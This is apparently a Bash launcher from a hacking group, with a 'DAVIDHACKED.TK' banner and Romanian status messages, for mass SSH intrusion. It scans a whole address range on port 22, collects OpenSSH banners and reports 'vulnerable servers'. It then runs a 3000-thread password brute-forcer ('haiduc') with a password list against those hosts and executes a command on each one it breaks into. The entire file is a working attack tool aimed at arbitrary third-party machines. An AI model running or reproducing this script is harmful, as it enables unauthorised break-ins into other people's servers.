#!/bin/bash

### COLORS ###
BLK='[1;30m'
RED='[1;31m'
GRN='[1;32m'
YEL='[1;33m'
DBLU='[1;34m'
MAG='[1;35m'
CYN='[1;36m'
WHI='[1;37m'
DRED='[0;31m'
DGRN='[0;32m'
DYEL='[0;33m'
DBLU='[0;34m'
DMAG='[0;35m'
DCYN='[0;36m'
DWHI='[0;37m'
RES='[0m'
### COLORS ###+

### SETTINGS ###
timp=60
interfata=ens3
viteza=10
port=22
threads=3000
timeout=15
banthread=350
passfile=pass
### SETTINGS ###

rm -rf i bios.txt ip.tmp scan.log banner.log
clear
echo "${YEL}                                  		${RES}"
echo "${YEL} ____    ___     _____ ____  __     ______  ${RES} "
echo "${YEL}|  _ \  / \ \   / /_ _|  _ \ \ \   / /___ \ ${RES}"
echo "${YEL}| | | |/ _ \ \ / / | || | | | \ \ / /  __) |${RES}"
echo "${YEL}| |_| / ___ \ V /  | || |_| |  \ V /  / __/ ${RES}"
echo "${YEL}|____/_/   \_\_/  |___|____/    \_/  |_____|${RES}"
echo "${YEL}						${RES}"
echo "${BLK}        IULI & DAVID & HEXCHAT HERE	        ${RES}"
echo "${RED}               DAVIDHACKED.TK               ${RES}"
sleep 1
echo "${YEL}						${RES}"
echo "${DWHI}[${RED}+${DWHI}] ${YEL}Port scanner: ${GRN}ON${RES}"
sleep 3
timeout $timp ./ps $port -a $1 -i $interfata -s $viteza
sleep 3
cat bios.txt |shuf > ip.tmp
cat ip.tmp |sort |uniq > ip2.tmp
rm -rf ip.tmp
cat ip2.tmp | uniq | shuf  > i
rm -rf ip2.tmp
wc -l i
echo -e "${DWHI}[${RED}-${DWHI}] ${YEL}Port scanner: ${GRN}OFF${RES}"
pkill -f ps
echo -e "${DWHI}[${RED}+${DWHI}] ${YEL}Brute: ${GRN}ON${RES}"
./banner bios.txt $port $banthread > /dev/null
sleep 3
rm -rf i
echo "${DWHI}[${RED}-${DWHI}] ${YEL}Banner: ${GRN}OFF${RES}"
pkill -f banner
sleep 1
vps=$(cat banner.log |wc -l) > /dev/null
ubuntu=$(cat banner.log  |grep Ubuntu  |wc -l) > /dev/null
debian=$(cat banner.log  |grep Debian  |wc -l) > /dev/null
echo "${YEL}############# ${DWHI}IP FILTRER ${YEL}#############${RES}"
echo ""
echo "${DWHI}[${RED}+${DWHI}] ${WHI}Am gasit ${BLK}> ${GRN}$vps${RES} ${YEL}servere vulnerabile!${RES}"
echo "${DWHI}[${RED}+${DWHI}] ${WHI}Am gasit ${BLK}> ${GRN}$ubuntu${RES} ${YEL}servere Ubuntu!${RES}"
echo "${DWHI}[${RED}+${DWHI}] ${WHI}Am gasit ${BLK}> ${GRN}$debian${RES} ${YEL}servere Debian!${RES}"
echo ""
echo "${YEL}############# ${DWHI}IP FILTRER ${YEL}#############${RES}"
cat banner.log | grep OpenSSH|cut -d ":" -f 1 > i
sleep 5
./haiduc $threads -f i $passfile $port "cat /proc/version"
pkill -f haiduc
sleep 5
./filtrer
echo "${DWHI}[${RED}+${DWHI}] ${WHI}Am terminat scanul, alege alta clasa!${RES}"
